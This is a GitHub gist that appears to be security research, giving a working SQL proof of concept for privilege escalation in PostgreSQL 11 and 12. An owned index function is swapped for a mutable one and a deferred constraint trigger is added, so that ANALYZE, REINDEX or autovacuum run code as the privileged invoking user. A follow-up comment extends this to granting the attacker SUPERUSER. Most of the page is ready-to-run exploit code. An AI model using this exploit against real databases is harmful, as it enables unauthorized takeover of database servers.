Skip to content

Instantly share code, notes, and snippets.

@staaldraad
Last active August 3, 2023 22:51
Show Gist options
  • Star 6 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save staaldraad/1325617885d42aa40777aa4774e91214 to your computer and use it in GitHub Desktop.
Save staaldraad/1325617885d42aa40777aa4774e91214 to your computer and use it in GitHub Desktop.
Postgresql research

This should give a priv-esc from low privileged user to that of the user who runs ANALYZE , VACUUM ANALYZE or REINDEX.

First create a new database and new user who has access rights to that database :

CREATE USER foo WITH PASSWORD 'baz';
CREATE DATABASE fooz;
ALTER DATABASE fooz OWNER TO foo;

Now with the new unprivileged user, execute the commands from the gist.

Once done, as the privileged user (using postgres in this case), execute ANALYZE, VACUUM ANALYZE or REINDEX. Then check the contents of t1.

ANALYZE blah;
SELECT * FROM t1;

t1 should only have foo as the user, however it will have the user postgres (check against t0 which only has foo). The expected behaviour is that nothing should execute as the invoking user, rather everything should be done as the owner, and unprivileged user, foo.

A REINDEX will also trigger the index function and lead to execution as the invoking user, rather than the owner.

Trigger via AUTOVACUUM

To trigger via AUTOVACUUM the existing PoC can be used. Autovacuum however requires the full path to functions and tables to be set, so for the database fooz instead of:

CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
   LANGUAGE sql SECURITY INVOKER AS
'INSERT INTO t0 VALUES (current_user); SELECT $1';

Use

CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
   LANGUAGE sql SECURITY INVOKER AS
'INSERT INTO fooz.public.t0 VALUES (current_user); SELECT $1';

The exploit can be sped up by setting the autovacuum_analyze_threshold and autovacuum_vacuum_thresholds to be more agressive, as shown in the second PoC gist.

Tested on:

  • 12.4 -- PostgreSQL 12.4 (Debian 12.4-1.pgdg100+1)
  • 12.3 -- PostgreSQL 12.3 (Debian 12.3-1.pgdg100+1)
  • 11.9 -- PostgreSQL 11.9 (Debian 11.9-1.pgdg90+1)
CREATE TABLE t0 (s varchar);
CREATE TABLE t1 (s varchar);
CREATE TABLE blah (a int, b int);
INSERT INTO blah VALUES (1,1);
/* Must start off with an immutable FUNCTION
CREATE INDEX won't allow you to create index otherwise
*/
CREATE FUNCTION sfunc(integer) RETURNS integer
LANGUAGE sql IMMUTABLE AS
'SELECT $1';
-- create index that calls the FUNCTION
CREATE INDEX indy ON blah (sfunc(a));
/* Replace the existing immutable function with a mutable version
setting SECURITY INVOKER isn't strictly necessary but just incase
*/
CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
LANGUAGE sql SECURITY INVOKER AS
'INSERT INTO t0 VALUES (current_user); SELECT $1';
-- try the index and then check table t0 - it should have the unprivileged username
ANALYZE blah;
/* analyze switches to ownership of table, so this doesn't give immediate
priv-esc. From the source code of postgresql:
*
* Switch to the table owner's userid, so that any index functions are run
* as that user. Also lock down security-restricted operations and
* arrange to make GUC variable changes local to this command.
*
Same restriction applies in VACUUM, since these are treated as security restricted operations
*/
-- create a function for inserting current user into another table
CREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer
LANGUAGE sql SECURITY INVOKER AS
'INSERT INTO t1 VALUES (current_user); SELECT $1';
-- create a trigger function which will call the second function for inserting current user into table t3
CREATE OR REPLACE FUNCTION strig() RETURNS trigger
AS $e$ BEGIN
PERFORM snfunc(1000); RETURN NEW;
END $e$
LANGUAGE plpgsql;
/* create a CONSTRAINT TRIGGER, which is deffered
deffered causes it to trigger on commit, by which time the user has been switched back to the
invoking user, rather than the owner
*/
CREATE CONSTRAINT TRIGGER def
AFTER INSERT ON t0
INITIALLY DEFERRED FOR EACH ROW
EXECUTE PROCEDURE strig();
/* This is the same PoC, however shows how to trigger the vuln via autovacuum (if autovacuum is on)
* It is assummed that a DATABASE called fooz has been created (same as poc1), the database and schema paths
* should be changed in real-world setups to match the configuration.
*/
DROP TABLE t0;
DROP TABLE t1;
DROP TABLE exp;
CREATE TABLE t0 (s varchar);
CREATE TABLE t1 (s varchar);
CREATE TABLE exp (a int, b int);
CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
LANGUAGE sql IMMUTABLE AS
'SELECT $1';
CREATE INDEX indy ON exp (sfunc(a));
CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
LANGUAGE sql SECURITY INVOKER AS
'INSERT INTO fooz.public.t0 VALUES (current_user); SELECT $1';
CREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer
LANGUAGE sql SECURITY INVOKER AS
'INSERT INTO fooz.public.t1 VALUES (current_user); SELECT $1';
CREATE OR REPLACE FUNCTION strig() RETURNS trigger
AS $e$ BEGIN
PERFORM fooz.public.snfunc(1000); RETURN NEW;
END $e$
LANGUAGE plpgsql;
CREATE CONSTRAINT TRIGGER def
AFTER INSERT ON t0
INITIALLY DEFERRED FOR EACH ROW
EXECUTE PROCEDURE strig();
ANALYZE exp;
INSERT INTO exp VALUES (1,1), (2,3),(4,5),(6,7),(8,9);
DELETE FROM exp;
INSERT INTO exp VALUES (1,1);
ALTER TABLE exp SET (autovacuum_vacuum_threshold = 1);
ALTER TABLE exp SET (autovacuum_analyze_threshold = 1);
@staaldraad
Copy link
Author

staaldraad commented Sep 11, 2020

For doing more privileged actions, it is necessary to do a check in the strig() function to ensure that the transaction will actually execute. This is done by checking if the current_user is the expected privileged user (such as postgres) and then executing the higher privileged action. Otherwise, just execute a low privileged function.

-- Low privileged function

CREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer
   LANGUAGE sql SECURITY INVOKER AS
'INSERT INTO fooz.public.t1 VALUES (current_user); SELECT $1';

-- High privileged function

CREATE OR REPLACE FUNCTION snfunc2(integer) RETURNS integer
   LANGUAGE sql SECURITY INVOKER AS
'INSERT INTO fooz.public.t1 VALUES (current_user); 
ALTER USER foo SUPERUSER; 
SELECT $1';

-- updated trigger

CREATE OR REPLACE FUNCTION strig() RETURNS trigger 
AS $e$ 
BEGIN 
IF current_user = 'postgres' THEN
    PERFORM fooz.public.snfunc2(1000); RETURN NEW; 
ELSE
    PERFORM fooz.public.snfunc(1000); RETURN NEW; 
END IF;
END $e$ 
LANGUAGE plpgsql;

Privilege escalation via the autovacuum process:
Top frame shows the autovacuum log, bottom frame shows triggering autovacuum with INSERT/DELETE.

Screenshot 2020-09-11 at 21 53 12

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment